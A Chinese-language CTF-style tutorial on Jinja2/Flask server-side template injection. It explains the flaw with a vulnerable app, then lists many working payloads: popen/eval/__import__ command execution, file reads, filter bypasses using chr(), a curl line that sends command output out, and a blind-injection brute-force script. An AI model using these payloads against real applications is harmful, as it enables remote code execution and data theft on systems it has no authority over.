cl4y@星盟
[toc]

SSTI模板注入(Python+Jinja2)

之前有做过一些SSTI的ctf,但是没有系统的学习,今天来总结一下。

前提知识

python、flask、jinja2

SSTI介绍

ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数,这些函数对用户的输入信任,造成了模板注入漏洞,可以造成文件泄露,rce等漏洞。
**永远 不要 相信 用户的任何输入**

SSTI种类

不同框架有不同的渲染模板:

漏洞成因

一个安全的代码应该如下:

#/www
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"

@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))

if __name__ == "__main__":
    app.run()
<!--/www/templates/index.html-->
<html>
  <head>
    <title>{{title}} - cl4y</title>
  </head>
 <body>
      <h1>Hello, {{name}} !</h1>
  </body>
</html>

可以看到,我们在index.html里面构造了两个渲染模板,用户通过传递name参数可以控制回显的内容:

即使用户输入渲染模板,更改语法结构,也不会造成SSTI注入:

原因是:服务端先将index.html渲染,然后读取用户输入的参数,模板其实已经固定,用户的输入不会更改模板的语法结构。

而如果有程序员为了图省事,将代码这样写:

from flask import Flask,request
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template('''
<html>
  <head>
    <title>SSTI_TEST - cl4y</title>
  </head>
 <body>
      <h1>Hello, %s !</h1>
  </body>
</html>
                '''% (name))
    return t.render()
if __name__ == "__main__":
    app.run()

我们再进行测试:

可以看到,我们输入的内容被服务器渲染然后输出,形成SSTI模板注入漏洞。

基础知识

  • __class__
    万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__
    以元组的形式返回一个类所直接继承的类。

  • __base__
    以字符串返回一个类所直接继承的第一个类。

  • __mro__
    返回解析方法调用的顺序。

    可以看到__bases__返回了test()的两个父类,__bases_返回了test()的第一个父类,__mro__按照子类到父类到父父类解析的顺序返回所有类。

  • __subclasses__()
    获取类的所有子类。

  • __init__
    所有自带类都包含init方法。

  • __globals__
    function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

注入思路|payload

注入思路

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • __bases__拿到基类(<class 'object'>
  • __subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]

接下来只要找到能够利用的类(方法、函数)就好了:

找可利用的类

from flask import Flask,request
from jinja2 import Template
search = 'eval'   
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

这是一个找可利用类的脚本,可供师傅们自己去发掘利用链,想利用啥,就找啥就行了。然后我找到了一下利用链,在下面写出。

python2、python3通用payload

因为每个环境使用的python库不同 所以类的排序有差异

直接使用popen(python2不行)

os._wrap_close类里有popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用os下的popen

可以从含有os的基类入手,比如说linecache

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os(python2不行)

可以使用__import__os

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

__builtins__下的多个函数

__builtins__下有eval__import__等的函数,可以利用此来执行命令。

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

利用python2的file类读写文件

在python3中file类被删除了,所以以下payload只有python2中可行。
dir来看看内置的方法:

#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
#python2的str类型不直接从属于属于基类,所以要两次 .__bases__

通用getshell

原理就是找到含有__builtins__的类,然后利用。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

绕过

绕过中括号

#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

绕过逗号+中括号

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

绕过双大括号(dns外带)

{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

python2下的盲注

python2下如果不能用命令执行,可以使用file类进行盲注

import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
    postdata = {
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return '~p0~' in r
password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
        if check(payload):
            password += c
            break
    print password

绕过 引号 中括号 通用getshell

ps. 其实还可以再绕过 双花括号,不过payload过于恶心,懒得写了,不过或许之后会出一道题也不好说2333。

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}

点击收藏 | 4 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖